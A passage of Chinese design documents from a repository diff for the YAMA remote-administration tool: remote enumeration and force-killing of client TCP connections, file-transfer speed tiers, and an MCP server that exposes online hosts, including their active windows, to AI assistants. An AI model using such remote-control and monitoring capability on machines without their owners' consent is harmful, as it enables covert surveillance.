[COMMAND_KILL_CONNECTION:1][ConnectionInfo:110]
```
- 客户端校验 `proto==1 && af==2` 才执行(仅 IPv4 TCP),否则忽略并在回包列表中保留该行。
## 4. 客户端实现
新增 `client/ConnectionsManager.{h,cpp}`,镜像 `CServicesManager`:
- 类声明(`ConnectionsManager.h`):
```cpp
#if ENABLE_CONNECTION_MNG==0
#define CConnectionsManager CManager
#else
class CConnectionsManager : public CManager {
public:
CConnectionsManager(IOCPClient* ClientObject, int n, void* user = nullptr);
virtual ~CConnectionsManager();
VOID SendConnectionList(); // 枚举并回传
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
void KillConnection(const ConnectionInfo& info);
};
#endif
```
- `SendConnectionList()`:
1. 依次 `GetExtendedTcpTable`(AF_INET / AF_INET6)+ `GetExtendedUdpTable`(AF_INET / AF_INET6),
汇总到 `std::vector<ConnectionInfo>`;IPv4 地址展开为网络序字节(`PutAddr4`)、端口 `ntohs` 转主机序。
2. 每个 PID 用 `OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION)` + `GetModuleBaseNameW` 取映像名,
转 UTF-8 写入 `procName[64]`;失败/PID 0 填 `"<unknown>"`(进程可能已退出,端点仍有效)。
3. 组包 `[TOKEN_CONNECTION_LIST:1][count:2][records...]`,用
`HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); m_ClientObject->Send2Server(...);` 回传。
- `OnReceive()`:
- `case COMMAND_CONNECTION:` → `SendConnectionList()`(刷新)。
- `case COMMAND_KILL_CONNECTION:` → 校验长度 ≥ 111,读 `ConnectionInfo`,`KillConnection()`,再 `SendConnectionList()`。
- `KillConnection()`:仅 `proto==TCP && af==AF_INET`;组 `MIB_TCPROW`(`dwState=MIB_TCP_STATE_DELETE_TCB`),
地址由网络序字节拼回 DWORD(`GetAddr4`)、端口 `htons` 转回网络序,`SetTcpEntry(&row)`。
- 编译:`common/config.h` 增 `#define ENABLE_CONNECTION_MNG TRUE`(`// 连接管理`)。
- 分发(`client/KernelManager.cpp`):在 `case COMMAND_SERVICES:` 后加
```
case COMMAND_CONNECTION: {
if (!ENABLE_CONNECTION_MNG) return ResponseDisable(...);
{ auto* sub = new IOCPClient(...); sub->EnableSubConnAuth(); ...; }
m_hThread[m_ulThreadCount++].h = __CreateThread(..., LoopConnectionManager, ...);
break;
}
```
- 线程注册(`client/Common.cpp` / `Common.h`):`#define LoopConnectionManager LoopManager<CConnectionsManager, 0>`。
## 5. 服务端实现
新增 `server/2015Remote/ConnectionsDlg.{h,cpp}`,镜像 `CServicesDlg`:
- `CConnectionsDlg(CWnd*, Server*, CONTEXT_OBJECT*) : DialogBase(IDD_DIALOG_CONNECTIONS, pParent, IOCPServer, ContextObject, IDI_CONNECTION)`。
- `OnInitDialog`:`InsertColumnL` 建列 `协议 | 本地地址 | 本地端口 | 远端地址 | 远端端口 | 状态 | PID | 进程名`(8 列),调 `ShowConnectionList()`。
- `ShowConnectionList()`:解析 `m_ContextObject->InDeCompressedBuffer`(`[token:1][count:2][records...]`)填表,
每条 `SetItemData` 存行内偏移(或直接把 `ConnectionInfo` 存进项关联数据),供右键断连取回记录。
- `OnReceiveComplete()`:`case TOKEN_CONNECTION_LIST: ShowConnectionList()`。
- `OnNMRClickList()`:用 `pNMItemActivate->iItem` 取**鼠标右键所在行**(而非仅依赖已选中行),
由该行 `SetItemData` 里存的 `ConnectionInfo` 拿回记录;`LoadMenu(IDR_MENU_CONNECTIONS)` →
`TrackPopupMenu`;菜单项「强制断开」(`ID_CONNECTION_KILL`)对**仅 IPv4 TCP 行可用**,发
`[COMMAND_KILL_CONNECTION:1][record:110]`;UDP/IPv6 行禁用该菜单项(`MF_GRAYED`)。
- 对话框标题栏图标 `IDI_CONNECTION`(`.ico`,`DialogBase` 构造第 5 参)与工具栏位图条第 17 个
48×48 图标是两回事:前者复用现有图标(如 `IDI_SERVICE`)或新增一个 `.ico`;后者编辑
`ToolBar_Main.bmp` 补第 17 格(见下)。
- 提供刷新(补发 `COMMAND_CONNECTION`)与 `OnClose`→`CancelIO()`。
工具栏 / 消息路由(`2015RemoteDlg.{h,cpp}` + `Resource.h` + `.rc`):
- `Resource.h`:`IDD_DIALOG_CONNECTIONS 404`、`IDR_MENU_CONNECTIONS 405`、`IDI_CONNECTION`(新图标 ID)、
`ID_CONNECTION_MANAGE 33086`(`_APS_NEXT_COMMAND_VALUE` 现为 33086,用后 +2)、`ID_CONNECTION_KILL`;
同步上调 `_APS_NEXT_RESOURCE_VALUE`/`_APS_NEXT_COMMAND_VALUE`。
- `.rc`(UTF-16LE,Node 脚本改):`IDR_TOOLBAR_MAIN` 末尾加 `BUTTON ID_CONNECTION_MANAGE`;
新增 `IDD_DIALOG_CONNECTIONS` 对话框与 `IDR_MENU_CONNECTIONS` 菜单。
- `res\ToolBar_Main.bmp`:**加宽为 816×48,补第 17 个 48×48「连接」图标**(实现时用脚本合成一个
双节点/插头样式图标插入条尾;图标观感属评审项)。
- `2015RemoteDlg.cpp`:
- `SetButtonText(16, _TR("连接管理"))`(1420 行后)。
- `hiddenCount >= 16`(1471 行)**无需改动**(连接按钮不参与隐藏,理由见 §2)。
- `ON_COMMAND(ID_CONNECTION_MANAGE, &CMy2015RemoteDlg::OnConnectionManage)`(993 行后)。
- `OnConnectionManage()`:`BYTE bToken = COMMAND_CONNECTION; SendSelectedCommand(&bToken, sizeof(BYTE));`。
- `MessageHandle` 加 `case TOKEN_CONNECTION_LIST:` → `SendMessage(WM_OPENCONNECTIONDIALOG, 0, (LPARAM)ContextObject)`(6609 行后)。
- `ON_MESSAGE(WM_OPENCONNECTIONDIALOG, OnOpenConnectionDialog)` + `OnOpenConnectionDialog` →
`OpenDialog<CConnectionsDlg, IDD_DIALOG_CONNECTIONS>(wParam, lParam)`。
- `stdafx.h`:`#define WM_OPENCONNECTIONDIALOG WM_USER + 3045`(现最高占用 `WM_USER+3044`,已核实无冲突)。
- 语言:`lang/en_US.ini` / `zh_TW.ini`(GBK,Python 改)补「连接管理 / 强制断开 / 8 列表头」文案。
## 6. 强制断开的实现与限制
- **仅 IPv4 TCP** 用 `SetTcpEntry` + `MIB_TCP_STATE_DELETE_TCB`(公开 API 唯一支持)。
- **重构 `MIB_TCPROW` 要点**:`dwState=12`;`dwLocalAddr/dwRemoteAddr` 由 16 字节字段前 4 字节的
网络序字节拼回网络序 DWORD(`GetAddr4`);`dwLocalPort/dwRemotePort` 由主机序 `htons` 转回网络序。
- **UDP**:无「按端点关闭 socket」的公开 API,MVP 只读展示(菜单置灰)。
- **IPv6 TCP**:`SetTcpEntry` 的 `MIB_TCPROW` 为 IPv4 结构,无公开的 IPv6 对应删除 API,MVP 只读展示。
- **权限**:`SetTcpEntry` 需管理员/足够权限;YAMA 客户端通常以服务(SYSTEM)运行,满足。若非提权,
`SetTcpEntry` 返回错误,`KillConnection` 静默失败并在刷新后的列表中保留该行(可观察结果,不误报)。
## 7. 安全与边界
1. **可能断开 YAMA 自身控制通道**:连接列表包含客户端↔服务端的主/子连接本身,若管理员选中并强制断开,
对应主机会立即离线。对话框对此不做特殊保护(与 `kill_process` 可杀自身守护进程同理),
但列表按 PID 可辨识本程序进程名,便于人工避让。
2. **强制断开不可逆**:断的是对端已建立的 TCP 连接,应用层不保存状态,可能造成数据丢失;对话框不弹二次确认
(确认责任在操作者),但右键菜单为显式单点操作。
3. **枚举成本**:每行一次 `OpenProcess` 取进程名,数百行连接约毫秒~十毫秒级,可接受;`OpenProcess` 失败直接
`"<unknown>"`,不阻塞枚举。
4. **PID 复用 / 进程退出**:断连用的是**端点**而非 PID,进程退出不影响 `SetTcpEntry` 命中;`procName` 仅用于展示。
5. **HTTP 分片**:连接数多时列表可超 1460 字节,依赖已修复的分片续包处理(§3.3)。
6. **老版本客户端**:老客户端无 `COMMAND_CONNECTION` 处理,点工具栏会无响应(与「老客户端不支持活动历史/日志」
同类),属预期;不影响服务端其它功能。
## 8. 验证计划(施工后填写)
1. 服务端:MSBuild 加 `-p:SolutionDir` 编译通过(见项目记忆 yama-server-msbuild-solutiondir);客户端同步编译。
2. 部署客户端到真实 Windows 主机 → 服务端选中主机 → 点新图标 → 对话框列出 TCP/UDP(含 IPv4/IPv6)连接,
字段(协议/地址/端口/状态/PID/进程名)与远端 `netstat -ano` 一致。
3. 右键一条 **IPv4 TCP** 已建立连接(如对测试服务器的 ESTABLISHED)→ 强制断开 → 刷新后该行消失、
远端 `netstat` 不再显示;进程自身未受影响。
4. 右键 **UDP / IPv6** 行 → 菜单项置灰,不可断连。
5. 刷新按钮 / 重复打开对话框 → 列表更新正常;关对话框后子连接释放(无泄漏)。
6. 回归:服务管理 / 进程管理 / MCP 等既有功能不受影响(无 command/token/ID 冲突)。
## 9. 实现记录
- 已实现并评审通过(2026-10-04)。实现与 §4/§5 一致:工具栏第 17 个图标(`ID_CONNECTION_MANAGE`,紧邻 MCP 之后)
打开连接管理对话框;客户端新增 `CConnectionsManager` 枚举并回传本机 TCP/UDP 连接;服务端新增 `CConnectionsDlg`
表格展示、右键「强制断开」发 `COMMAND_KILL_CONNECTION`、支持表头点击排序。
- **评审修正一处关键缺陷(字节序)**:iphlpapi 的 IPv4 地址 `dwLocalAddr` 是网络序 DWORD、端口 `dwLocalPort`
低 16 位是网络序。初版「原样 memcpy / 原样回填」导致展示的 IPv4 地址与端口字节序颠倒(强断因往返对称仍能命中)。
已改为:地址存网络序字节(`PutAddr4`)、端口 `ntohs` 转主机序;断连时地址拼回 DWORD(`GetAddr4`)、端口
`htons` 转回网络序。详见 §3.2 / §6。
- 对话框标题栏小图标 `IDI_CONNECTION` 由工具栏第 17 个图标生成 `res/connections.ico`(48/32/16,32 位带透明)。
- 编译:`client/ConnectionsManager.cpp`(UTF-8 BOM + CRLF,`ws2tcpip.h` 引入 `_WS2IPDEF_` 以使用 IPv6 MIB 结构)
经 MSBuild(v143 工具集覆盖)编译通过;整仓 ghost 构建在本机 BuildTools 因缺少 ATL 头受阻,属环境问题,与本功能无关。
+146
View File
@@ -0,0 +1,146 @@
# YAMA 文件传输速度调节设计
> **状态**:已实现(Windows 端,含多语言)。其他平台(Linux/macOS 客户端)暂不实施。
> **读者**:研发/评审人员。
> **关联文档**:[FILE_TRANSFER_V2.md](./FILE_TRANSFER_V2.md)(V2 协议)、[Mcp_FileTransfer_Design.md](./Mcp_FileTransfer_Design.md)(MCP 文件传输)。
---
## 1. 背景与目标
文件传输速度目前是**写死的**:`SimplePlugins` 库的 `InitFileUpload(key, msg, hmac, chunkSizeKb, sendDurationMs, ...)` 被 YAMA 所有调用点传 `64, 50`,折算 ≈ 1.25 MB/s。用户无法调节。
目标:在 YAMA 主菜单「高级」下新增一个**面向小白**的「文件传输速度」对话框——拖动滑块即完成设置,实时显示预估速度;**不修改 SimplePlugins 库**(库已编译,只通过其已暴露的 `chunkSizeKb`/`sendDurationMs` 两个入参控制)。
---
## 2. 速度原理(现状)
库内部把两个入参转成全局量(`SimplePlugins/file_upload.cpp:221-222, 849-850`):
```cpp
static int chunk_size = 64 * 1024; // 默认 64KB
static int send_duration = 50; // 默认 50ms
// InitFileUpload: chunk_size = chunkSizeKb * 1024; send_duration = sendDurationMs;
```
发送循环每发一块就 `Sleep(send_duration)`(V1 `FileBatchTransferWorker` 与 V2 `FileBatchTransferWorkerV2` 共用这对全局量):
```
预估速度 = chunkSizeKb * 1024 / (sendDurationMs / 1000) 字节/秒
默认 64KB / 50ms ≈ 1.25 MB/s
```
两个关键约束:
1. **速度只在 `InitFileUpload` 时设定一次**,库无运行时 setter(`g_threadCount > 1` 时提前返回,不会重设)。
2. **V1 / V2 共用同一对全局量**,一次设置同时覆盖 `COMMAND_SEND_FILE(68)` 与 `COMMAND_SEND_FILE_V2(85)` 两种协议。
---
## 3. 档位表(权威唯一来源,主控端对话框维护)
| 档位 | 名称 | chunkKb | durationMs | 预估速度 |
|---|---|---|---|---|
| 0 | 最慢 | 64 | 200 | ≈ 0.3 MB/s |
| 1 | 慢 | 64 | 100 | ≈ 0.6 MB/s |
| 2 | 默认 | 64 | 50 | ≈ 1.25 MB/s |
| 3 | 快 | 128 | 50 | ≈ 2.5 MB/s |
| 4 | 更快 | 256 | 50 | ≈ 5 MB/s |
| 5 | 很快 | 512 | 50 | ≈ 10 MB/s |
| 6 | 不限速 | 1024 | 0 | 网络上限 |
- 滑块 `CSliderCtrl` 范围 `0..6`,`SetPageSize(1)`,默认落在 2。
- `durationMs = 0` 表示不人为限速(`Sleep(0)` 仅让出时间片,实际受带宽约束)。
- **注意 Windows `Sleep` 粒度 ≈ 15.6ms**:`durationMs` 低于约 15ms 基本等同不限速。故档位要么 ≥ 20ms,要么直接 0ms,不设 5ms 之类的“名不副实”中间值。
预估文案:`当前约 1.25 MB/s`;`durationMs==0` 显示 `不限速(受网络带宽约束)`。
- **多语言**:档位名(最慢/慢/默认/快/更快/很快/不限速)与预估格式串(`%s · 约 %.2f MB/s`、`%s · 不受限速(受网络带宽约束)`)经 `_TR`/`_LF` 走 `LangManager` 翻译表;语言文件以中文原文为 key。刻度标签拆成 最慢/默认/不限速 三个独立 `LTEXT` 以便各自翻译(英文宽度不同,不能靠空格对齐)。
---
## 4. 两个方向的生效链路
文件传输有两条方向,`InitFileUpload` 各自在不同进程/时机调用:
| 方向 | 发送方 | `InitFileUpload` 调用点 | 生效方式 |
|---|---|---|---|
| 上传(主控端 → 被控端) | 主控端 | `server/2015Remote/2015RemoteDlg.cpp:2223`(启动一次) | 读 `THIS_CFG`,重启主控端生效 |
| 下载(被控端 → 主控端) | 被控端 | `client/FileManager.cpp:40`(CFileManager 构造,每会话一次) | 读客户端配置,下次打开文件管理会话生效 |
### 4.1 上传方向(主控端本地,无协议改动)
`2015RemoteDlg.cpp:2223` 现为 `InitFileUpload({},{},GetHMAC(),64,50,Logf,GetUpperHash())`,改为读 `THIS_CFG`:
```cpp
int chunkKb = THIS_CFG.GetInt("transfer", "ChunkKb", 64);
int durMs = THIS_CFG.GetInt("transfer", "DurationMs", 50);
InitFileUpload({}, {}, GetHMAC(), chunkKb, durMs, Logf, GetUpperHash());
```
### 4.2 下载方向(需下发到被控端)
新增命令 `CMD_FILE_SPEED`,照 `CMD_QUALITY_LEVEL(78)` 的“服务端下发 → 客户端持久化 → 本地生效”套路:
1. **`common/commands.h`**:新增 `CMD_FILE_SPEED = 252`(命令号单字节,252 < 255 安全)。
2. **命令格式**:`[cmd:1][chunkKb:uint16 LE][durationMs:uint16 LE]`,共 5 字节。
- 传原始 `chunkKb`/`durationMs` 而非档位索引,**避免客户端复制映射表**,映射表只存在于主控端对话框。
3. **主控端下发**:在 `OnOnlineFileManager()`(`server/2015Remote/2015RemoteDlg.cpp:4737`,发 `COMMAND_LIST_DRIVE` 开文件管理会话)发 `COMMAND_LIST_DRIVE` **之前**,先经主连接把当前档位 `CMD_FILE_SPEED`(5 字节)发给被控端;`OnOnlineDesktopManager()`(`2015RemoteDlg.cpp:4723`,发 `COMMAND_SCREEN_SPY`)同理也发一次,覆盖“先开远程桌面再开文件管理”的引用计数时序。两处都在 `SendFileSpeedCommand()`(`:9310`)统一读取并下发。
4. **被控端接收**:在客户端主连接分发 `client/KernelManager.cpp:814` 的 `switch`(`COMMAND_LIST_DRIVE` 所在,`case` 加在 `1280` 附近)加 `case CMD_FILE_SPEED`,把两数写入 `iniFile cfg(CLIENT_PATH)` 的 `[transfer]` 节。
5. **被控端调用点读配置**:`client/FileManager.cpp:40`(CFileManager 构造)改为读 `cfg.GetInt("transfer","ChunkKb",64)` / `DurationMs`,替换硬编码 `64, 50`。CFileManager 每会话重建(构造 Init、析构 Uninit),故下次打开文件管理即生效。
> **关键**:库用进程级引用计数,速度只在**首次** `InitFileUpload` 时设定(`g_threadCount > 1` 时提前返回,不重设)。客户端共 4 个 `InitFileUpload` 调用点(`FileManager.cpp:40`、`ScreenManager.cpp:109`、`ScreenManager.cpp:873`、`KernelManager.cpp:1399`),谁先初始化谁锁定速度。故**这 4 处必须全部改为读同一配置**,否则下载速度会被先初始化的管理器(如远程桌面会话)锁成旧值。
---
## 5. 配置存储
- 主控端:`THIS_CFG`(ini)`[transfer]` 节 `ChunkKb` / `DurationMs`(int)。
- 被控端:`iniFile(CLIENT_PATH)` 的 `[transfer]` 节 `ChunkKb` / `DurationMs`(int),由 `CMD_FILE_SPEED` 写入。
存 `ChunkKb`/`DurationMs` 两个 int 而非档位索引:自解释、直接对应 `InitFileUpload` 入参、不易错位。
---
## 6. 改动文件清单(Windows 端)
| 文件 | 改动 |
|---|---|
| `server/2015Remote/resource.h` | 加 `IDD_FILE_SPEED`、`ID_TOOL_FILE_SPEED`、`IDC_FSPEED_SLIDER`、`IDC_FSPEED_LABEL`、`IDC_FSPEED_RESET` |
| `server/2015Remote/2015Remote.rc` | 「高级」菜单加一项;新增对话框资源(滑块+预估标签+按钮)。**文件为 UTF-16LE 编码,须按 Unicode 读写** |
| `server/2015Remote/CFileSpeedDlg.h` | 新建:档位表 + `OnHScroll` 实时预估 + 恢复默认(照 `CPreviewLevelsDlg.h` 内联实现) |
| `server/2015Remote/2015RemoteDlg.h` | 加 `OnFileTransferSpeed()` 声明 |
| `server/2015Remote/2015RemoteDlg.cpp` | 消息映射 `ON_COMMAND(ID_TOOL_FILE_SPEED, ...)`;`2223` 读配置(上传);`OnFileTransferSpeed()` 弹出对话框并写回 THIS_CFG;`OnOnlineFileManager()`/`OnOnlineDesktopManager()` 发 `CMD_FILE_SPEED` |
| `common/commands.h` | 加 `CMD_FILE_SPEED = 252` |
| `client/KernelManager.cpp` | `case CMD_FILE_SPEED` 写客户端配置(主连接 switch,`814`) |
| `client/FileManager.cpp`、`client/ScreenManager.cpp`、`client/KernelManager.cpp` | 4 个 `InitFileUpload` 调用点读配置替换硬编码 `64, 50`(引用计数要求全部一致) |
| `server/2015Remote/lang/en_US.ini`、`zh_TW.ini`、`de_DE.ini` | 追加「文件传输速度」相关 13 条中文原文→译文(GBK 编码,`RCDATA "lang\*.ini"` 由 rc.exe 嵌入) |
---
## 7. 生效时机与提示文案
- 上传速度:重启主控端生效。
- 下载速度:下次打开该主机的文件管理会话生效。
- 对话框保存后弹提示:`文件传输速度已保存。上传速度重启主控端后生效;下载速度下次打开文件管理或远程桌面后生效。`
---
## 8. 风险与备注
1. **`Sleep` 精度**:Windows 计时器粒度约 15.6ms,`durationMs` 过小则失真(见 §3)。
2. **实际速度 < 预估**:预估为纯 `chunk/delay` 理论值,未计入 `f()` 网络发送耗时;对话框文案用“约/大概”表述。
3. **命令号冲突**:`CMD_FILE_SPEED=252` 需确认 `commands.h` 无重号;252 < 255(单字节 `uint8_t cmd` 上限)。
4. **`.rc` 编码**:`2015Remote.rc` 为 UTF-16LE(带 BOM),编辑必须按 Unicode 处理,避免破坏资源脚本。
5. **跨平台**:Linux/macOS 客户端下载路径暂不改(`CMD_FILE_SPEED` 会被老/其他平台客户端静默忽略,向后兼容)。
6. **多语言 key 精确匹配**:语言文件为 GBK 编码、key 不 trim(`CIniParser` 保留原始空格);译文 key 必须与源码逐字一致——源码为 UTF-8、经 `/execution-charset:.936` 编译为 GBK,`·`(U+00B7)、全角括号()等需一致,否则查不到翻译。
---
## 9. 实施顺序
1. `common/commands.h` 加命令号 → `resource.h` 加 ID → `.rc` 加菜单项与对话框资源。
2. 新建 `CFileSpeedDlg.h` → `2015RemoteDlg` 接线(上传方向,可先验证)。
3. 主控端下发 `CMD_FILE_SPEED` → 客户端接收持久化 → 客户端调用点读配置(下载方向)。
4. 编译验证(MSBuild 须传 `-p:SolutionDir`,见项目记忆)。
+443
View File
@@ -0,0 +1,443 @@
# YAMA 服务端 MCP 支持方案
> 版本:1.0
> 状态:Final(定稿)
> 适用范围:`server/2015Remote/`(C++/MFC 服务端,生产主流)
---
## 1. 背景与目标
### 1.1 背景
MCP(Model Context Protocol)是 Anthropic 提出的开放协议,让 AI 助手(Claude Code、Claude Desktop 等)通过标准化的工具调用接口访问外部系统的能力。
YAMA 服务端维护了「在线主机列表」这一核心数据,如果能通过 MCP 暴露出去,用户就能在 Claude Code 里直接问「现在有多少台机器在线?」「列出所有在线的 Windows 主机」等,由 AI 调用工具获取实时数据。
### 1.2 本期范围(MVP)
**只跑通 MCP,只实现一个工具**,把可扩展架构搭起来:
- 传输方式:Streamable HTTP(`POST /mcp`,JSON-RPC 2.0 over HTTP)
- 工具数量:1 个 —— `list_online_hosts`(获取在线主机列表)
- 暴露范围:启用开关(默认关闭,经「扩展 → MCP设置」对话框开启)+ 绑定地址可配置(默认 `127.0.0.1` 仅本机)+ token 认证(env / THIS_CFG / 随机)
- 后续:逐步添加工具(进程列表、命令执行、屏幕截图等),架构不动
### 1.3 非目标(明确不做)
- 不做 SSE 服务器推送(本期工具调用是 request/response 即可)
- 不做多用户/角色体系(复用现有 WebService 认证或静态 token)
- 不做写操作工具(操控主机的工具属于后续阶段,需单独评审安全边界)
- 不碰现有 Web 控制台的 WebSocket 服务
---
## 2. 现状分析
C++ 服务端已有大量可直接复用的资产,MCP 的落地成本因此大幅降低。
| 现成资产 | 位置 | 在 MCP 中的角色 |
|---|---|---|
| HTTP 服务器 | `httplib.h`(header-only,`file_server.h:34` 已用) | MCP 的 HTTP 传输层 |
| JSON 库 | `jsoncpp/json.h`(`WebService.cpp` 已用) | JSON-RPC 编解码 |
| Token 认证 | `WebServiceAuth.h`(`GenerateToken` / `ValidateToken` / `ComputeSHA256`) | 可选升级路径;MVP 用简单静态 token 比对(见 §3.5) |
| 在线主机列表 → JSON | `CWebService::BuildDeviceListJson()`(`WebService.cpp:1506`) | **工具 `list_online_hosts` 的核心逻辑** |
| 在线主机数据源 | `CMy2015RemoteDlg::m_HostList`(`2015RemoteDlg.h:345`,`m_cs` 保护)+ `context::IsLogin()` + `context::GetClientData()` | 取数入口 |
| 配置系统 | `THIS_CFG.GetInt/GetStr("settings", ...)` | MCP 端口/token 配置 |
### 2.1 关键结论
- **HTTP、JSON、认证、主机列表 JSON 全部现成**,MCP 侧不需要重新造轮子。
- **唯一需要手写的是 MCP 的 JSON-RPC 2.0 协议层**,因为 C++ 没有官方 MCP SDK(官方仅有 TS/Python/Java/Kotlin/C#/Go)。
### 2.2 `BuildDeviceListJson` 现状
`WebService.cpp:1506` 的 `CWebService::BuildDeviceListJson(const std::string& username)` 已实现:
- 遍历 `m_pParentDlg->m_HostList`,过滤 `ctx->IsLogin()`
- 输出字段:`id` / `name` / `remark` / `ip` / `os` / `location` / `rtt` / `version` / `activeWindow` / `online` / `group` / `screen` / `clientType`
- 已处理 GBK/UTF-8 编码分叉(`activeWindow` 字段按客户端能力位选择编码页,见 `WebService.cpp:1581` 附近的 `GetClientEncoding`)
**该方法是 `private`**(`WebService.h:160`,位于 private 段)。MCP 侧需通过公开入口复用(见 §3.4)。
---
## 3. 方案设计
### 3.1 总体架构
```
2015Remote.exe(MFC 服务端进程)
├─ IOCP TCP 服务(被控端连接,现有)
├─ WebService(ws::Server,Web 控制台,现有,8080)
└─ McpServer(httplib,新增,默认禁用,经「MCP设置」开启后监听 127.0.0.1:6544)
POST /mcp → JSON-RPC 分发
├─ initialize
├─ tools/list
└─ tools/call
└─ list_online_hosts → 复用 BuildHostJson(公共函数,§3.4)
```
**核心决策:独立起一个 httplib server,不挂到现有 `ws::Server`。**
理由:
- 现有 `ws::Server` 的 `HttpHandler` 只有 `path` 参数、无 POST body(`SimpleWebSocket.h:345`),强挂 MCP 需改动其底层,侵入大、有回归风险。
- 独立 server 零耦合、零风险,且天然满足「仅 127.0.0.1」的绑定需求。
### 3.2 新增文件清单
| 文件 | 职责 | 估算量 |
|---|---|---|
| `McpServer.h` / `McpServer.cpp` | httplib 封装、`POST /mcp` 路由、token 校验、生命周期 | ~120 行 |
| `McpProtocol.h` / `McpProtocol.cpp` | JSON-RPC 2.0 协议层:`initialize` / `tools/list` / `tools/call` 分发 | ~250 行 |
| `McpTools.h` / `McpTools.cpp` | 工具注册表 + `list_online_hosts` 实现 | ~80 行 |
| `McpSettingsDlg.h` / `McpSettingsDlg.cpp` | 「MCP设置」配置对话框(启用/端口/绑定/token + 重启提醒) | ~150 行 |
| 修改 `2015RemoteDlg.cpp` / `.h` | 启动/停止 McpServer + 菜单项接线(`ID_MCP_SETTINGS` → `OnMcpSettings`) | ~30 行 |
| 修改 `2015Remote.rc` / `resource.h` / `UIBranding.h` / `FeatureFlags.h` | `ID_MCP_SETTINGS` 菜单项 + `IDD_DIALOG_MCP_SETTINGS` 对话框资源 + `HIDE_MENU_MCP_SETTINGS` + `MF_MCP_SETTINGS` 许可位 | 少量 |
> 头文件/实现可合并精简,实际以「一个 `McpServer` 类 + 一个工具注册表 + 一个协议分发函数」为最小形态,文件拆分仅为可读性。
### 3.3 协议层设计(JSON-RPC 2.0)
MCP 是 JSON-RPC 2.0。MVP 只需实现以下方法:
#### 3.3.1 `initialize`(握手)
请求:
```json
{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"claude","version":"..."}}}
```
响应:
```json
{"jsonrpc":"2.0","id":1,"result":{
"protocolVersion":"2025-06-18",
"capabilities":{"tools":{}},
"serverInfo":{"name":"yama","version":"<VERSION_STR>"}
}}
```
#### 3.3.2 `tools/list`
请求:`{"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}`
响应:
```json
{"jsonrpc":"2.0","id":2,"result":{"tools":[{
"name":"list_online_hosts",
"description":"获取当前所有在线主机的列表,包含计算机名、IP、操作系统、版本、备注、分组、活动窗口、延迟等实时信息。",
"inputSchema":{"type":"object","properties":{},"required":[]},
"outputSchema":{
"type":"object",
"properties":{
"hosts":{
"type":"array",
"items":{
"type":"object",
"properties":{
"id":{"type":"string"},
"name":{"type":"string"},
"remark":{"type":"string"},
"ip":{"type":"string"},
"os":{"type":"string"},
"location":{"type":"string"},
"rtt":{"type":"string"},
"version":{"type":"string"},
"activeWindow":{"type":"string"},
"online":{"type":"boolean"},
"group":{"type":"string"},
"screen":{"type":"string"},
"clientType":{"type":"string"}
}
}
}
},
"required":["hosts"]
}
}]}}
```
#### 3.3.3 `tools/call`
请求:
```json
{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"list_online_hosts","arguments":{}}}
```
响应(结构化输出:`structuredContent` 承载主机数组,`content` 附带可读摘要):
```json
{"jsonrpc":"2.0","id":3,"result":{
"structuredContent":{
"hosts":[
{"id":"123","name":"DESKTOP-ABC","remark":"我的Windows","ip":"192.168.0.92",
"os":"Windows 10","location":"上海市","rtt":"12","version":"...",
"activeWindow":"WeChat","online":true,"group":"default","screen":"1:1920x1080","clientType":"EXE"}
]
},
"content":[{"type":"text","text":"共 1 台主机在线。"}],
"isError":false
}}
```
#### 3.3.4 可选实现
- `ping`:返回空 result(便于健康检查)
- `notifications/initialized`:客户端通知,可忽略
#### 3.3.5 错误响应(JSON-RPC 2.0 标准)
协议层必须处理以下错误,返回标准 `error` 结构(`id` 回填请求 id):
| 场景 | code | message |
|---|---|---|
| 请求体不是合法 JSON | `-32700` | Parse error |
| 请求结构不合法(缺 jsonrpc/method 等) | `-32600` | Invalid Request |
| 方法未实现 | `-32601` | Method not found |
| 参数非法 | `-32602` | Invalid params |
| 内部错误 | `-32603` | Internal error |
示例(方法未实现):
```json
{"jsonrpc":"2.0","id":1,"error":{"code":-32601,"message":"Method not found"}}
```
#### 3.3.6 传输层约定(Streamable HTTP 最小子集)
- 客户端 `POST /mcp`,请求头 `Content-Type: application/json`、`Accept: application/json, text/event-stream`。
- 服务端返回 `Content-Type: application/json`(MVP 工具调用为 request/response,无需 SSE 流式)。
- `initialize` 响应可回填 `Mcp-Session-Id` 头用于会话管理;MVP 单会话可省略,实现时对照最新 MCP 规范确认。
- 仅接受 `POST /mcp`,其余路径/方法返回 404/405。
### 3.4 工具设计:`list_online_hosts`
#### 取数方案(已定:抽公共函数)
`BuildDeviceListJson` 目前是 `CWebService` 的 private 方法,且依赖 `m_pParentDlg`。为满足「MCP 与 WebService 是平级数据消费者、不互相依赖」的原则,采用**方案 C:抽公共函数**。
```cpp
// 公共函数:提取单台在线主机的完整数据(含 GBK/UTF-8 编码处理),返回 UTF-8 的 Json::Value
Json::Value BuildHostJson(context* ctx, _ClientList* clientMap);
```
- `CWebService::BuildDeviceListJson` 内部改调该公共函数,Web 侧签名与输出不变(零回归)。
- `McpServer` 侧持 `CMy2015RemoteDlg*`(`SetParentDlg`),在 `m_cs` 锁内遍历 `m_HostList`、`IsLogin()` 过滤,对每台主机调 `BuildHostJson`,组装为结构化输出。
- **职责边界**:用户名/分组过滤(`username` → `allowed_groups`)、`m_cs` 加锁、以及外层结构(Web 的 `{"cmd","devices"}` vs MCP 的 `{"hosts"}`)属于**调用方**,不进公共函数;`BuildHostJson` 只负责「单台主机 → `Json::Value`」的字段序列化与编码转换。其中 `remark` 依赖 `m_ClientMap->GetClientMapData(id, MAP_NOTE)`,故 `clientMap` 作为参数传入。
选型说明:方案 A(MCP 依赖 `CWebService` 单例)依赖方向错误,且 `WebSvrPort=0` 时 `m_pParentDlg` 为空导致取不到数;方案 B(MCP 自持父对话框复制逻辑)违反 DRY、重复易错的编码处理。故取 C。
#### 返回内容(全量,含实时信息)
**保留 `BuildDeviceListJson` 的全部字段,不做精简**,以支持「AI 协助监督客户端运行状态」的场景:
- 基础标识:`id` / `name` / `remark` / `ip` / `os` / `location` / `group` / `version` / `clientType` / `screen`
- 实时信息:`rtt`(延迟)、`activeWindow`(当前活动窗口,即被控端正在做什么)
输出结构 `{"hosts": [...]}`,每台主机一个对象,字段与 §3.3.2 的 `outputSchema` 一致。
### 3.5 安全设计
